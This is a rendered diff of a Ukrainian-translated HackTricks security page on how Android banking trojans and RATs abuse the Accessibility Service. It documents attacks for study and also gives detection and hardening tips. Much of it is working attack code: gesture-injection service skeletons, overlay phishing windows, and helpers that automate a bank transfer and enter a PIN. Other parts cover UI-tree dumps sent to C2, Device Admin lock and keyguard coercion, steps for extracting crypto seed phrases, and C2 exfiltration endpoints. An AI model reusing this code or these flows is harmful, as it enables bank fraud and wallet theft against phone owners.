| - Social: `send_push`, `Facebook`, `WhatsApp` | ||||
| - Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint` | ||||
| - Wallets: `metamask`, `trust`, `blockchain`, `phantom` | ||||
| - ATS: `transfer`, `check_limit`, `limit` | ||||
| - Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound` | ||||
| - Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact` | ||||
| - NFC: `nfs`, `nfs_inject` | ||||
| 
 | ||||
| ### Detection & defence ideas (RatOn-style) | ||||
| - Шукайте WebViews із `addJavascriptInterface()` що відкривають методи інсталятора/дозволів; сторінки, що закінчуються на “/access” і викликають Accessibility-підказки. | ||||
| - Сигналізуйте про додатки, які генерують високоінтенсивні Accessibility жести/кліки незабаром після надання доступу до сервісу; телеметрія, що нагадує дампи Accessibility node, відправлені на C2. | ||||
| - Моніторте зміни політик Device Admin в ненадійних додатках: `lockNow`, закінчення терміну пароля, перемикання функцій keyguard. | ||||
| - Сигналізуйте про MediaProjection-підказки від некорпоративних додатків, за якими слідують періодичні завантаження кадрів. | ||||
| - Виявляйте інсталяцію/запуск зовнішнього NFC-relay додатка, ініційованого іншим додатком. | ||||
| - Для банкінгу: впровадьте позаканальні підтвердження, прив'язку біометрії та ліміти транзакцій, стійкі до автоматизації на пристрої. | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) | ||||
| - [Luban – Android image compression library](https://github.com/Curzibn/Luban) | ||||
| - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) | ||||
| - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) | ||||
| - [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) | ||||
| - [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -1,24 +1,24 @@ | ||||
| # Зловживання службами доступності Android | ||||
| # Зловживання Android Accessibility Service | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## Огляд | ||||
| 
 | ||||
| `AccessibilityService` була створена, щоб допомогти користувачам з обмеженими можливостями взаємодіяти з пристроями Android. На жаль, ті ж **потужні API автоматизації** (глобальна навігація, введення тексту, обробка жестів, вікна накладок…) можуть бути використані шкідливим ПЗ для отримання **повного віддаленого контролю** над пристроєм _без прав root_. | ||||
| `AccessibilityService` було створено, щоб допомогти користувачам з інвалідністю взаємодіяти з пристроями Android. На жаль, ті самі **потужні automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) можуть бути використані шкідливим ПЗ для отримання **повного віддаленого контролю** над телефоном _без привілеїв root_. | ||||
| 
 | ||||
| Сучасні банківські трояни Android та трояни віддаленого доступу (RAT) такі як **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** та багато інших слідують одному й тому ж рецепту: | ||||
| Сучасні Android banking Trojans та Remote-Access-Trojans (RATs) такі як **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** та багато інших дотримуються одного й того ж сценарію: | ||||
| 
 | ||||
| 1. Соціально інженерити жертву, щоб вона ввімкнула зловмисну службу доступності (дозвіл *BIND_ACCESSIBILITY_SERVICE* вважається "високим ризиком" і вимагає явної дії користувача). | ||||
| 2. Використовувати службу для | ||||
| * захоплення кожної події UI та тексту, що з'являється на екрані, | ||||
| * ін'єкції синтетичних жестів (`dispatchGesture`) та глобальних дій (`performGlobalAction`), щоб автоматизувати будь-яке завдання, яке бажає оператор, | ||||
| * малювання накладок на весь екран поверх легітимних додатків, використовуючи тип вікна **TYPE_ACCESSIBILITY_OVERLAY** (без запиту `SYSTEM_ALERT_WINDOW`!), | ||||
| * безшумного надання додаткових дозволів під час виконання, натискаючи на системні діалоги від імені жертви. | ||||
| 3. Екстракція даних або виконання **On-Device-Fraud (ODF)** в реальному часі, поки користувач дивиться на цілком нормальний екран. | ||||
| 1. Соціально-інженерити жертву, щоб вона увімкнула зловмисний accessibility service (the *BIND_ACCESSIBILITY_SERVICE* permission is considered "high-risk" and requires an explicit user action). | ||||
| 2. Використати сервіс для | ||||
| * перехоплення кожної події UI та тексту, що з'являється на екрані, | ||||
| * ін'єкції синтетичних жестів (`dispatchGesture`) та глобальних дій (`performGlobalAction`) для автоматизації будь-яких дій, що потрібні оператору, | ||||
| * відображення повноекранних оверлеїв поверх легітимних додатків, використовуючи тип вікна **TYPE_ACCESSIBILITY_OVERLAY** (без prompt `SYSTEM_ALERT_WINDOW`!), | ||||
| * безшумного надання додаткових runtime permissions шляхом кліку по системних діалогах від імені жертви. | ||||
| 3. Екфільтрації даних або виконання **On-Device-Fraud (ODF)** в реальному часі поки користувач дивиться на цілком нормальний екран. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Запит на дозвіл | ||||
| ## Requesting the permission | ||||
| ```xml | ||||
| <!-- AndroidManifest.xml --> | ||||
| <service | ||||
| @ -34,7 +34,7 @@ android:exported="false"> | ||||
| android:resource="@xml/evil_accessibility_config"/> | ||||
| </service> | ||||
| ``` | ||||
| Супутній XML визначає, як виглядатиме підроблений діалог: | ||||
| Супровідний XML визначає, як виглядатиме фальшиве діалогове вікно: | ||||
| ```xml | ||||
| <?xml version="1.0" encoding="utf-8"?> | ||||
| <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" | ||||
| @ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/> | ||||
| ``` | ||||
| --- | ||||
| 
 | ||||
| ## Примітиви автоматизації віддаленого інтерфейсу користувача | ||||
| ## Примітиви віддаленої автоматизації UI | ||||
| ```java | ||||
| public class EvilService extends AccessibilityService { | ||||
| @Override | ||||
| @ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul | ||||
| } | ||||
| } | ||||
| ``` | ||||
| З використанням лише цих двох API зловмисник може: | ||||
| * Розблокувати екран, відкрити банківський додаток, навігувати його UI-дерево та надіслати форму переказу. | ||||
| * Приймати кожен діалог дозволу, що з'являється. | ||||
| * Встановлювати/оновлювати додаткові APK через намір Play Store. | ||||
| Маючи лише ці два APIs, зловмисник може: | ||||
| * Розблокувати екран, відкрити банківський додаток, пройти його UI tree та відправити форму переказу. | ||||
| * Автоматично приймати всі діалоги дозволів, які з'являються. | ||||
| * Встановлювати/оновлювати додаткові APKs через Play Store intent. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Шаблони зловживання | ||||
| ## Сценарії зловживань | ||||
| 
 | ||||
| ### 1. Фішинг з накладенням (Збирання облікових даних) | ||||
| Прозорий або непрозорий `WebView` додається до менеджера вікон: | ||||
| ### 1. Overlay Phishing (Credential Harvesting) | ||||
| Прозорий або непрозорий `WebView` додається до window manager: | ||||
| ```java | ||||
| WindowManager.LayoutParams lp = new WindowManager.LayoutParams( | ||||
| MATCH_PARENT, MATCH_PARENT, | ||||
| @ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real | ||||
| PixelFormat.TRANSLUCENT); | ||||
| wm.addView(phishingView, lp); | ||||
| ``` | ||||
| Жертва вводить облікові дані у фальшиву форму, в той час як фоновий додаток отримує ті ж жести – жоден підозрілий запит "малювати поверх інших додатків" ніколи не відображається. | ||||
| Жертва вводить облікові дані у фальшиву форму, тоді як фоновий додаток отримує ті самі ж жести — ніколи не з’являється підозрілий "draw over other apps" prompt. | ||||
| 
 | ||||
| > Детальний приклад: розділ *Accessibility Overlay Phishing* на сторінці Tapjacking. | ||||
| > Детальний приклад: секція *Accessibility Overlay Phishing* всередині сторінки Tapjacking. | ||||
| 
 | ||||
| ### 2. Автоматизація шахрайства на пристрої | ||||
| Сімейства шкідливих програм, такі як **PlayPraetor**, підтримують постійний канал WebSocket, де оператор може видавати команди високого рівня (`init`, `update`, `alert_arr`, `report_list`, …). Сервіс перетворює ці команди на низькорівневі жести, досягаючи несанкціонованих транзакцій в реальному часі, які легко обходять багатофакторну аутентифікацію, пов'язану з цим пристроєм. | ||||
| Сімейства malware, такі як **PlayPraetor**, підтримують постійний канал WebSocket, де оператор може надсилати високорівневі команди (`init`, `update`, `alert_arr`, `report_list`, …). Сервіс перетворює ці команди на низькорівневі жести, описані вище, досягаючи в реальному часі несанкціонованих транзакцій, які легко обходять multi-factor-authentication, прив’язану до цього пристрою. | ||||
| 
 | ||||
| ### 3. Потокове відео та моніторинг | ||||
| Поєднуючи **MediaProjection API** з бібліотекою клієнта RTMP, RAT може транслювати живий буфер кадрів на `rtmp://<c2>:1935/live/<device_id>`, надаючи противнику ідеальну ситуаційну обізнаність, поки движок Accessibility керує інтерфейсом. | ||||
| ### 3. Трансляція екрана та моніторинг | ||||
| Поєднуючи **MediaProjection API** з RTMP клієнтською бібліотекою, RAT може транслювати live framebuffer на `rtmp://<c2>:1935/live/<device_id>`, забезпечуючи противникові повну ситуаційну обізнаність, поки Accessibility engine керує UI. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## PlayPraetor – робочий процес командування та контролю | ||||
| ## PlayPraetor – command & control workflow | ||||
| 
 | ||||
| 1. **HTTP(S) heartbeat** – ітерувати по заздалегідь визначеному списку, поки один домен не відповість `POST /app/searchPackageName` з активним C2. | ||||
| 2. **WebSocket (порт 8282)** – двосторонні JSON команди: | ||||
| * `update` – надсилати нові конфігурації/APK | ||||
| * `alert_arr` – налаштувати шаблони накладок | ||||
| * `report_list` – надіслати список цільових назв пакетів | ||||
| * `heartbeat_web` – підтримувати з'єднання | ||||
| 3. **RTMP (порт 1935)** – трансляція живого екрану/відео. | ||||
| 4. **REST ексфільтрація** – | ||||
| * `/app/saveDevice` (відбиток) | ||||
| 1. **HTTP(S) heartbeat** – перебирає жорстко вбудований список, поки один домен не відповість `POST /app/searchPackageName` з активним C2. | ||||
| 2. **WebSocket (port 8282)** – двонаправлені JSON-команди: | ||||
| * `update` – push new conf/APKs | ||||
| * `alert_arr` – configure overlay templates | ||||
| * `report_list` – send list of targeted package names | ||||
| * `heartbeat_web` – keep-alive | ||||
| 3. **RTMP (port 1935)** – live screen/video streaming. | ||||
| 4. **REST exfiltration** – | ||||
| * `/app/saveDevice` (fingerprint) | ||||
| * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` | ||||
| * `/app/saveCardPwd` (банківські облікові дані) | ||||
| * `/app/saveCardPwd` (bank creds) | ||||
| 
 | ||||
| **AccessibilityService** є локальним движком, який перетворює ці команди з хмари на фізичні взаємодії. | ||||
| The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Виявлення шкідливих служб доступності | ||||
| ## Виявлення шкідливих accessibility services | ||||
| 
 | ||||
| * `adb shell settings get secure enabled_accessibility_services` | ||||
| * Налаштування → Доступність → *Завантажені служби* – шукайте додатки, які **не** з Google Play. | ||||
| * Рішення MDM / EMM можуть примусово застосовувати `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+), щоб блокувати завантажені служби. | ||||
| * Аналізуйте запущені служби: | ||||
| * Settings → Accessibility → *Downloaded services* – шукайте додатки, які **не** з Google Play. | ||||
| * MDM / EMM solutions can enforce `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) to block sideloaded services. | ||||
| * Analyse running services: | ||||
| ```bash | ||||
| adb shell dumpsys accessibility | grep "Accessibility Service" | ||||
| ``` | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Рекомендації щодо посилення безпеки для розробників додатків | ||||
| ## Рекомендації щодо захисту для розробників додатків | ||||
| 
 | ||||
| * Позначайте чутливі елементи з `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). | ||||
| * Поєднуйте `setFilterTouchesWhenObscured(true)` з `FLAG_SECURE`, щоб запобігти викраденню натискань/накладок. | ||||
| * Виявляйте накладки, опитуючи `WindowManager.getDefaultDisplay().getFlags()` або API `ViewRootImpl`. | ||||
| * Відмовляйтеся від роботи, коли активна `Settings.canDrawOverlays()` **або** ненадійна служба доступності. | ||||
| * Позначайте чутливі view атрибутом `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). | ||||
| * Combine `setFilterTouchesWhenObscured(true)` with `FLAG_SECURE` щоб запобігти перехопленню натискань/оверлеїв. | ||||
| * Detect overlays by polling `WindowManager.getDefaultDisplay().getFlags()` or the `ViewRootImpl` API. | ||||
| * Refuse to operate when `Settings.canDrawOverlays()` **or** a non-trusted Accessibility service is active. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Посилання | ||||
| ## ATS automation cheat-sheet (Accessibility-driven) | ||||
| Malware can fully automate a bank app with only Accessibility APIs. Generic primitives: | ||||
| ```java | ||||
| // Helpers inside your AccessibilityService | ||||
| private List<AccessibilityNodeInfo> byText(String t){ | ||||
| AccessibilityNodeInfo r = getRootInActiveWindow(); | ||||
| return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); | ||||
| } | ||||
| private boolean clickText(String t){ | ||||
| for (AccessibilityNodeInfo n: byText(t)){ | ||||
| if (n.isClickable()) return n.performAction(ACTION_CLICK); | ||||
| AccessibilityNodeInfo p = n.getParent(); | ||||
| if (p != null) return p.performAction(ACTION_CLICK); | ||||
| } | ||||
| return false; | ||||
| } | ||||
| private void inputText(AccessibilityNodeInfo field, String text){ | ||||
| Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); | ||||
| field.performAction(ACTION_SET_TEXT, b); | ||||
| } | ||||
| private void tap(float x, float y){ | ||||
| Path p = new Path(); p.moveTo(x,y); | ||||
| dispatchGesture(new GestureDescription.Builder() | ||||
| .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); | ||||
| } | ||||
| ``` | ||||
| Приклад потоку (чеські → англійські мітки): | ||||
| - "Nová platba" (Нова оплата) → натиснути | ||||
| - "Zadat platbu" (Ввести платіж) → натиснути | ||||
| - "Nový příjemce" (Новий отримувач) → натиснути | ||||
| - "Domácí číslo účtu" (Номер внутрішнього рахунку) → перейти в поле і `ACTION_SET_TEXT` | ||||
| - "Další" (Далі) → натиснути → … "Zaplatit" (Сплатити) → натиснути → ввести PIN | ||||
| 
 | ||||
| Fallback: жорстко задані координати з `dispatchGesture`, коли пошук по тексту не вдається через кастомні віджети. | ||||
| 
 | ||||
| Також спостерігалося: попередні кроки до `check_limit` та `limit` шляхом переходу до інтерфейсу лімітів і збільшення денних лімітів перед переказом. | ||||
| 
 | ||||
| ## Текстова псевдо-трансляція екрана | ||||
| Для керування з низькою затримкою, замість повного відеострімінгу, вивантажуйте текстове представлення поточного дерева UI і повторно надсилайте його на C2. | ||||
| ```java | ||||
| private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ | ||||
| if (n==null) return; | ||||
| Rect b = new Rect(); n.getBoundsInScreen(b); | ||||
| CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); | ||||
| sb.append(indent).append("[").append(cls).append("] ") | ||||
| .append(txt==null?"":txt).append(" ") | ||||
| .append(b.toShortString()).append("\n"); | ||||
| for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb); | ||||
| } | ||||
| ``` | ||||
| Це основа для команд, таких як `txt_screen` (одноразово) та `screen_live` (безперервно). | ||||
| 
 | ||||
| ## Примітиви примусу Device Admin | ||||
| Після активації Device Admin receiver ці виклики збільшують можливості перехоплення облікових даних та утримання контролю: | ||||
| ```java | ||||
| DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); | ||||
| ComponentName admin = new ComponentName(this, AdminReceiver.class); | ||||
| 
 | ||||
| // 1) Immediate lock | ||||
| dpm.lockNow(); | ||||
| 
 | ||||
| // 2) Force credential change (expire current PIN/password) | ||||
| dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android | ||||
| 
 | ||||
| // 3) Disable biometric unlock to force PIN/pattern entry | ||||
| int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | | ||||
| DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS; | ||||
| dpm.setKeyguardDisabledFeatures(admin, flags); | ||||
| ``` | ||||
| Примітка: точна доступність цих політик залежить від версії Android та OEM; під час тестування перевіряйте роль політики пристрою (admin vs owner). | ||||
| 
 | ||||
| ## Шаблони витягання seed-фраз криптогаманців | ||||
| Спостережувані потоки для MetaMask, Trust Wallet, Blockchain.com і Phantom: | ||||
| - Розблокування за вкраденим PIN (captured via overlay/Accessibility) або з наданим паролем гаманця. | ||||
| - Перейдіть: Settings → Security/Recovery → Reveal/Show recovery phrase. | ||||
| - Збирають фразу за допомогою кейлогінгу текстових вузлів, обходу secure-screen або OCR зі скриншота, коли текст приховано. | ||||
| - Підтримка кількох локалей (EN/RU/CZ/SK) для стабілізації селекторів – віддавайте перевагу `viewIdResourceName` коли він доступний, у протилежному випадку використовувати багатомовне порівняння тексту. | ||||
| 
 | ||||
| ## NFC-relay orchestration | ||||
| Модулі Accessibility/RAT можуть встановити та запустити спеціальний NFC-relay додаток (e.g., NFSkate) як третю стадію і навіть інжектувати overlay-посібник, щоб супроводжувати жертву через кроки relay за наявності картки. | ||||
| 
 | ||||
| Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## References | ||||
| * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) | ||||
| * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service) | ||||
| * [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) | ||||
| * [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user